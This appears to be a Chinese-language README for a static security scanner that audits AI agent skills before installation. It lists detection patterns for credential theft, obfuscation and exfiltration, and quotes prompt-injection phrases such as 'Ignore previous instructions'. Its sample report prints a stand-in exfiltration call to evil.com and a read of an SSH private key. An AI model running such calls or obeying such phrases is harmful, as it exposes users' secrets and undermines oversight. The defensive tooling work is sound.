用途
Skill Security Auditor 用于在安装 AI 智能体技能(skill)之前对其进行安全审计与漏洞扫描,帮助用户评估来自不可信来源的技能,或在安装前审查技能的安全性。扫描后会给出明确的 PASS / WARN / FAIL 结论,并列出发现的问题与修复指导。
主要能力
1. 代码执行风险扫描(Python/Bash 脚本)
扫描所有 .py、.sh、.bash、.js、.ts 文件,检测以下模式:
| 类别 | 检测模式 | 严重程度 |
|---|---|---|
| 命令注入 | os.system()、os.popen()、subprocess.call(shell=True)、反引号执行 |
🔴 CRITICAL |
| 代码执行 | eval()、exec()、compile()、__import__() |
🔴 CRITICAL |
| 混淆 | base64 编码载荷、codecs.decode、十六进制字符串、chr() 链 |
🔴 CRITICAL |
| 网络外传 | requests.post()、urllib.request、socket.connect()、httpx、aiohttp |
🔴 CRITICAL |
| 凭据收集 | 读取 ~/.ssh、~/.aws、~/.config、环境变量提取模式 |
🔴 CRITICAL |
| 文件系统滥用 | 写入技能目录之外、/etc/、~/.bashrc、~/.profile、创建符号链接 |
🟡 HIGH |
| 权限提升 | sudo、chmod 777、setuid、cron 操纵 |
🔴 CRITICAL |
| 不安全反序列化 | pickle.loads()、yaml.load()(未使用 SafeLoader)、marshal.loads() |
🟡 HIGH |
| 子进程(安全) | 使用列表参数、无 shell 的 subprocess.run() |
⚪ INFO |
2. SKILL.md 中的提示注入
扫描 SKILL.md 及所有 .md 参考文件,检测:
| 模式 | 示例 | 严重程度 |
|---|---|---|
| 系统提示覆盖 | “Ignore previous instructions”、“You are now...” | 🔴 CRITICAL |
| 角色劫持 | “Act as root”、“Pretend you have no restrictions” | 🔴 CRITICAL |
| 安全绕过 | “Skip safety checks”、“Disable content filtering” | 🔴 CRITICAL |
| 隐藏指令 | 零宽字符、含指令的 HTML 注释 | 🟡 HIGH |
| 过度权限 | “Run any command”、“Full filesystem access” | 🟡 HIGH |
| 数据提取 | “Send contents of”、“Upload file to”、“POST to” | 🔴 CRITICAL |
3. 依赖供应链
针对包含 requirements.txt、package.json 或内联 pip install 的技能:
| 检查项 | 作用 | 严重程度 |
|---|---|---|
| 已知漏洞 | 与 PyPI/npm 公告数据库交叉比对 | 🔴 CRITICAL |
| 仿冒包 | 标记与流行包相似的包(如 reqeusts) |
🟡 HIGH |
| 未固定版本 | 标记 requests>=2.0 与 requests==2.31.0 的差异 |
⚪ INFO |
| 代码中的安装命令 | 脚本内的 pip install 或 npm install |
🟡 HIGH |
| 可疑包 | 下载量低、创建时间近、单一维护者 | ⚪ INFO |
4. 文件系统与结构
| 检查项 | 作用 | 严重程度 |
|---|---|---|
| 边界违规 | 脚本引用技能目录之外的路径 | 🟡 HIGH |
| 隐藏文件 | 不应出现在技能中的 .env、点文件 |
🟡 HIGH |
| 二进制文件 | 意外的可执行文件、.so、.dll、.exe |
🔴 CRITICAL |
| 大文件 | 可能隐藏载荷的超过 1MB 的文件 | ⚪ INFO |
| 符号链接 | 指向技能目录之外的符号链接 | 🔴 CRITICAL |
使用方式
快速开始:
# 审计本地技能目录
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# 审计来自 git 仓库的技能
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# 严格模式审计(任何 WARN 变为 FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# 输出 JSON 报告
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
审计工作流:
- 对技能目录或仓库 URL 运行扫描器
- 查看报告——问题按严重程度分组
- 结论解读:
- ✅ PASS——无严重或高危问题,可安全安装。
- ⚠️ WARN——检测到高危/中危问题,安装前需人工复核。
- ❌ FAIL——存在严重问题,未修复前请勿安装。
- 修复——每个问题都附带具体修复指导。
报告示例:
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
高级用法:
# 克隆前审计 Git 中的技能
# 克隆到临时目录,审计后清理
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD 集成:
# GitHub Actions 步骤
- name: Audit Skill Security
run: |
python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
批量审计:
# 审计目录中的所有技能
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
威胁模型参考:完整的威胁模型、检测模式和针对 AI 智能体技能的已知攻击向量,见 references/threat-model.md。
适用场景
- 评估来自不可信来源的技能
- 在安装前审计技能
- 将技能安全审计集成到 CI/CD 流程
- 批量审计多个技能
限制
- 无法确定性地检测逻辑炸弹或延时载荷
- 混淆检测基于模式匹配——足够有创造力的攻击者可能绕过
- 网络目的地信誉检查需要互联网访问
- 不执行代码——仅静态分析(安全但不如动态分析完整)
- 依赖漏洞检查使用本地模式匹配,而非实时 CVE 数据库
- 审计后如有疑问,请勿安装,向技能作者寻求澄清